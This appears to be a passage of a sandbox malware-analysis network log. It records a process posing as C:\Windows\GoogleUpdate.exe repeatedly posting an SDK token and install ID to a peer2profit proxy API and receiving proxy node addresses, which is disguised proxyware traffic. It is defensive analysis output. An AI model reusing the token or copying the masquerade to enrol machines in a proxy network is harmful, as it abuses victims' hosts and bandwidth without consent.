2022-11-24 15:58:14 UTC	2	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 15:58:14 GMT Content-Type: application/json Content-Length: 132 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f3584c1d06bbf7-FRA
2022-11-24 15:58:14 UTC	2	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 31 36 32 2e 31 39 2e 31 37 35 2e 31 36 33 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "162.19.175.163", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.3	49797	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 15:58:33 UTC	20	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 15:58:33 UTC	20	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 15:58:33 UTC	21	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 15:58:33 GMT Content-Type: application/json Content-Length: 132 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f358c58a459265-FRA
2022-11-24 15:58:33 UTC	21	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 31 36 32 2e 31 39 2e 31 37 35 2e 31 36 33 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "162.19.175.163", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.3	49801	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 15:58:34 UTC	21	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 15:58:34 UTC	21	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 15:58:34 UTC	21	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 15:58:34 GMT Content-Type: application/json Content-Length: 132 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f358c7bbdc9b39-FRA
2022-11-24 15:58:34 UTC	21	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 31 36 32 2e 31 39 2e 31 37 35 2e 31 36 33 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "162.19.175.163", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.3	49803	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 15:58:34 UTC	22	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 15:58:34 UTC	22	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 15:58:34 UTC	22	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 15:58:34 GMT Content-Type: application/json Content-Length: 132 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f358c9dd9f5bf5-FRA
2022-11-24 15:58:34 UTC	22	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 31 36 32 2e 31 39 2e 31 37 35 2e 31 36 33 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "162.19.175.163", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.3	49806	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 15:58:34 UTC	22	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 15:58:34 UTC	22	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 15:58:35 UTC	23	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 15:58:35 GMT Content-Type: application/json Content-Length: 132 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f358cc9f659bbe-FRA
2022-11-24 15:58:35 UTC	23	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 31 36 32 2e 31 39 2e 31 37 35 2e 31 36 33 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "162.19.175.163", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.3	49809	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 15:58:35 UTC	23	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 15:58:35 UTC	23	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 15:58:35 UTC	23	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 15:58:35 GMT Content-Type: application/json Content-Length: 132 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f358ce7f4091ea-FRA
2022-11-24 15:58:35 UTC	24	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 31 36 32 2e 31 39 2e 31 37 35 2e 31 36 33 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "162.19.175.163", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.3	49812	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 15:58:35 UTC	24	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 15:58:35 UTC	24	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 15:58:35 UTC	24	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 15:58:35 GMT Content-Type: application/json Content-Length: 132 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f358d17b4d6934-FRA
2022-11-24 15:58:35 UTC	24	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 31 36 32 2e 31 39 2e 31 37 35 2e 31 36 33 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "162.19.175.163", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.3	49815	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 15:58:36 UTC	24	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 15:58:36 UTC	25	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 15:58:36 UTC	25	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 15:58:36 GMT Content-Type: application/json Content-Length: 132 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f358d40b079261-FRA
2022-11-24 15:58:36 UTC	25	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 31 36 32 2e 31 39 2e 31 37 35 2e 31 36 33 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "162.19.175.163", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.3	49818	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 15:58:37 UTC	25	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 15:58:37 UTC	25	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 15:58:37 UTC	25	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 15:58:37 GMT Content-Type: application/json Content-Length: 132 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f358d9889d9006-FRA
2022-11-24 15:58:37 UTC	26	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 31 36 32 2e 31 39 2e 31 37 35 2e 31 36 33 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "162.19.175.163", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.3	49821	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 15:58:37 UTC	26	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 15:58:37 UTC	26	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 15:58:38 UTC	26	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 15:58:37 GMT Content-Type: application/json Content-Length: 132 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f358df2dfebba1-FRA
2022-11-24 15:58:38 UTC	26	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 31 36 32 2e 31 39 2e 31 37 35 2e 31 36 33 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "162.19.175.163", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.3	49825	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 15:58:39 UTC	26	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 15:58:39 UTC	27	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 15:58:39 UTC	27	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 15:58:39 GMT Content-Type: application/json Content-Length: 132 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f358e66888bb74-FRA
2022-11-24 15:58:39 UTC	27	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 31 36 32 2e 31 39 2e 31 37 35 2e 31 36 33 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "162.19.175.163", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49724	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 15:58:16 UTC	2	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 15:58:16 UTC	2	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 15:58:16 UTC	3	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 15:58:16 GMT Content-Type: application/json Content-Length: 132 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f35856ea8b922b-FRA
2022-11-24 15:58:16 UTC	3	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 31 36 32 2e 31 39 2e 31 37 35 2e 31 36 33 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "162.19.175.163", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.3	49829	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 15:58:39 UTC	27	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
